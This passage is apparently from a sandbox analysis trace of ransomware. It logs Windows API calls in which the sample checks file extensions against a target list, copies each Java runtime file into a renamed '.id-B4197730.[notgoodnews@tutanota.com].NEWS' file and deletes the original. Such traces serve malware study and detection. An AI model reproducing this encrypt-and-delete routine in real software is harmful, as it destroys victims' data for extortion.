50 [0090.933] lstrlenW (lpString=".doc") returned 4 [0090.933] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1 [0090.933] lstrlenW (lpString=".docx") returned 5 [0090.933] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1 [0090.933] lstrlenW (lpString=".pdf") returned 4 [0090.933] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1 [0090.933] lstrlenW (lpString=".xls") returned 4 [0090.933] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1 [0090.933] lstrlenW (lpString=".xlsx") returned 5 [0090.933] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1 [0090.933] lstrlenW (lpString=".ppt") returned 4 [0090.933] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1 [0090.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.933] lstrlenW (lpString=".zip") returned 4 [0090.933] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1 [0090.933] lstrlenW (lpString=".rar") returned 4 [0090.933] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1 [0090.933] lstrlenW (lpString=".bz2") returned 4 [0090.933] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1 [0090.933] lstrlenW (lpString=".7z") returned 3 [0090.933] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1 [0090.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.933] lstrlenW (lpString=".dbf") returned 4 [0090.933] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1 [0090.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.933] lstrlenW (lpString=".1cd") returned 4 [0090.933] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1 [0090.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.933] lstrlenW (lpString=".jpg") returned 4 [0090.933] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1 [0090.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.934] lstrlenW (lpString=".doc") returned 4 [0090.934] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1 [0090.934] lstrlenW (lpString=".docx") returned 5 [0090.934] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1 [0090.934] lstrlenW (lpString=".pdf") returned 4 [0090.934] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1 [0090.934] lstrlenW (lpString=".xls") returned 4 [0090.934] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1 [0090.934] lstrlenW (lpString=".xlsx") returned 5 [0090.934] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1 [0090.934] lstrlenW (lpString=".ppt") returned 4 [0090.934] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1 [0090.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.934] lstrlenW (lpString=".zip") returned 4 [0090.934] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1 [0090.934] lstrlenW (lpString=".rar") returned 4 [0090.934] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1 [0090.934] lstrlenW (lpString=".bz2") returned 4 [0090.934] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1 [0090.934] lstrlenW (lpString=".7z") returned 3 [0090.934] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1 [0090.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.934] lstrlenW (lpString=".dbf") returned 4 [0090.934] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1 [0090.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.934] lstrlenW (lpString=".1cd") returned 4 [0090.934] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1 [0090.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.934] lstrlenW (lpString=".jpg") returned 4 [0090.934] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1 [0090.934] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0090.935] lstrlenW (lpString="javacpl.exe") returned 11 [0090.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.935] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=80448) returned 1 [0090.935] CloseHandle (hObject=0x378) returned 1 [0090.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0090.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.935] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.935] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.057] GetLastError () returned 0x0 [0091.057] ReadFile (in: hFile=0x378, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x13a40, lpOverlapped=0x0) returned 1 [0091.063] WriteFile (in: hFile=0x384, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x13a50, lpOverlapped=0x0) returned 1 [0091.065] ReadFile (in: hFile=0x378, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.065] WriteFile (in: hFile=0x384, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1 [0091.065] SetEndOfFile (hFile=0x384) returned 1 [0091.065] CloseHandle (hObject=0x384) returned 1 [0091.065] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.065] SetEndOfFile (hFile=0x378) returned 1 [0091.067] CloseHandle (hObject=0x378) returned 1 [0091.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.067] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 1 [0091.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.069] lstrlenW (lpString=".doc") returned 4 [0091.069] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.069] lstrlenW (lpString=".docx") returned 5 [0091.069] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0091.069] lstrlenW (lpString=".pdf") returned 4 [0091.069] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.069] lstrlenW (lpString=".xls") returned 4 [0091.069] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.069] lstrlenW (lpString=".xlsx") returned 5 [0091.069] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0091.069] lstrlenW (lpString=".ppt") returned 4 [0091.070] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.070] lstrlenW (lpString=".zip") returned 4 [0091.070] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.070] lstrlenW (lpString=".rar") returned 4 [0091.070] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.070] lstrlenW (lpString=".bz2") returned 4 [0091.070] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.070] lstrlenW (lpString=".7z") returned 3 [0091.070] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.070] lstrlenW (lpString=".dbf") returned 4 [0091.070] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.070] lstrlenW (lpString=".1cd") returned 4 [0091.070] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.070] lstrlenW (lpString=".jpg") returned 4 [0091.070] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.070] lstrlenW (lpString=".doc") returned 4 [0091.070] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.070] lstrlenW (lpString=".docx") returned 5 [0091.070] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0091.070] lstrlenW (lpString=".pdf") returned 4 [0091.070] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.070] lstrlenW (lpString=".xls") returned 4 [0091.070] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.070] lstrlenW (lpString=".xlsx") returned 5 [0091.070] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0091.070] lstrlenW (lpString=".ppt") returned 4 [0091.070] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.070] lstrlenW (lpString=".zip") returned 4 [0091.070] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.070] lstrlenW (lpString=".rar") returned 4 [0091.071] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.071] lstrlenW (lpString=".bz2") returned 4 [0091.071] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.071] lstrlenW (lpString=".7z") returned 3 [0091.071] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.071] lstrlenW (lpString=".dbf") returned 4 [0091.071] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.071] lstrlenW (lpString=".1cd") returned 4 [0091.071] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0091.071] lstrlenW (lpString=".jpg") returned 4 [0091.071] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.071] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.071] lstrlenW (lpString="JAWTAccessBridge-64.dll") returned 23 [0091.071] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.071] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=15424) returned 1 [0091.071] CloseHandle (hObject=0x338) returned 1 [0091.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0091.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.072] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.072] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.072] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.072] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.072] GetLastError () returned 0x0 [0091.072] ReadFile (in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x3c40, lpOverlapped=0x0) returned 1 [0091.077] WriteFile (in: hFile=0x364, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x3c50, lpOverlapped=0x0) returned 1 [0091.079] ReadFile (in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.079] WriteFile (in: hFile=0x364, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x102, lpOverlapped=0x0) returned 1 [0091.079] SetEndOfFile (hFile=0x364) returned 1 [0091.079] CloseHandle (hObject=0x364) returned 1 [0091.079] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.079] SetEndOfFile (hFile=0x338) returned 1 [0091.080] CloseHandle (hObject=0x338) returned 1 [0091.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.080] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 1 [0091.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.080] lstrlenW (lpString=".doc") returned 4 [0091.080] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.080] lstrlenW (lpString=".docx") returned 5 [0091.080] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0091.080] lstrlenW (lpString=".pdf") returned 4 [0091.080] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.080] lstrlenW (lpString=".xls") returned 4 [0091.080] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.080] lstrlenW (lpString=".xlsx") returned 5 [0091.081] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0091.081] lstrlenW (lpString=".ppt") returned 4 [0091.081] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.081] lstrlenW (lpString=".zip") returned 4 [0091.081] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.081] lstrlenW (lpString=".rar") returned 4 [0091.081] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.081] lstrlenW (lpString=".bz2") returned 4 [0091.081] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.081] lstrlenW (lpString=".7z") returned 3 [0091.081] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.081] lstrlenW (lpString=".dbf") returned 4 [0091.081] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.081] lstrlenW (lpString=".1cd") returned 4 [0091.081] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.081] lstrlenW (lpString=".jpg") returned 4 [0091.081] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.081] lstrlenW (lpString=".doc") returned 4 [0091.081] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.081] lstrlenW (lpString=".docx") returned 5 [0091.081] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0091.081] lstrlenW (lpString=".pdf") returned 4 [0091.081] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.081] lstrlenW (lpString=".xls") returned 4 [0091.081] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.081] lstrlenW (lpString=".xlsx") returned 5 [0091.081] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0091.081] lstrlenW (lpString=".ppt") returned 4 [0091.081] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.082] lstrlenW (lpString=".zip") returned 4 [0091.082] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.082] lstrlenW (lpString=".rar") returned 4 [0091.082] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.082] lstrlenW (lpString=".bz2") returned 4 [0091.082] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.082] lstrlenW (lpString=".7z") returned 3 [0091.082] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.082] lstrlenW (lpString=".dbf") returned 4 [0091.082] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.082] lstrlenW (lpString=".1cd") returned 4 [0091.082] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0091.082] lstrlenW (lpString=".jpg") returned 4 [0091.082] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.082] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.082] lstrlenW (lpString="jdwp.dll") returned 8 [0091.082] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.085] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=201792) returned 1 [0091.085] CloseHandle (hObject=0x364) returned 1 [0091.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0091.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.085] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.085] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.085] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.085] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0091.085] GetLastError () returned 0x0 [0091.085] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x31440, lpOverlapped=0x0) returned 1 [0091.091] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x31450, lpOverlapped=0x0) returned 1 [0091.094] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.094] WriteFile (in: hFile=0x378, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1 [0091.095] SetEndOfFile (hFile=0x378) returned 1 [0091.095] CloseHandle (hObject=0x378) returned 1 [0091.095] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.095] SetEndOfFile (hFile=0x364) returned 1 [0091.097] CloseHandle (hObject=0x364) returned 1 [0091.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.097] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 1 [0091.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.098] lstrlenW (lpString=".doc") returned 4 [0091.098] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.098] lstrlenW (lpString=".docx") returned 5 [0091.098] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0091.098] lstrlenW (lpString=".pdf") returned 4 [0091.098] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.098] lstrlenW (lpString=".xls") returned 4 [0091.098] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.098] lstrlenW (lpString=".xlsx") returned 5 [0091.098] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0091.098] lstrlenW (lpString=".ppt") returned 4 [0091.098] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0091.098] lstrlenW (lpString=".zip") returned 4 [0091.098] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.098] lstrlenW (lpString=".rar") returned 4 [0091.098] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.098] lstrlenW (lpString=".bz2") returned 4 [0091.098] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.098] lstrlenW (lpString=".7z") returned 3 [0091.098] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.098] lstrlenW (lpString="C:\\Program 